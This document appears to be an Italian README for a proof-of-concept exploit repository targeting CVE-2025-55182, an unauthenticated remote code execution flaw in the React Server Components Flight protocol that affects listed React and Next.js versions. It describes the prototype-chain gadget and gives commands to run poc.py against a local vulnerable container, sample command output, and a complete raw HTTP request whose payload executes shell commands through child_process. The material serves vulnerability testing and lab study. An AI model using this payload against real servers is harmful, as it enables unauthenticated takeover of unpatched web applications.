
CVE-2025-55182 — React2Shell
CVE-2025-55182 ("React2Shell") è una vulnerabilità RCE (Remote Code Execution) senza autenticazione con CVSS 10.0 presente nel deserializzatore del protocollo Flight di React Server Components.
Poiché la funzione reviveModel nel client del protocollo Flight di React non verifica le chiavi degli oggetti con hasOwnProperty, un attaccante può percorrere la catena di prototipi __proto__ → constructor → Function constructor ed eseguire codice JavaScript arbitrario.
Poiché la deserializzazione avviene prima dell'autenticazione con un singolo POST multipart contenente l'header Next-Action, l'attacco può essere eseguito senza autenticazione.
| Componente | Versioni vulnerabili | Versione corretta |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # Script di exploit
└── target/ # App Next.js vulnerabile
├── Containerfile # Per build podman
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
Il campo digest della risposta JSON restituisce l'output del comando eseguito.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# Scrittura di un file
python poc.py http://localhost:3000 "touch /tmp/pwned"
# Verifica all'interno del container
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # Anche questo è possibile
Presupponendo che Burp sia in esecuzione su localhost:8080
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln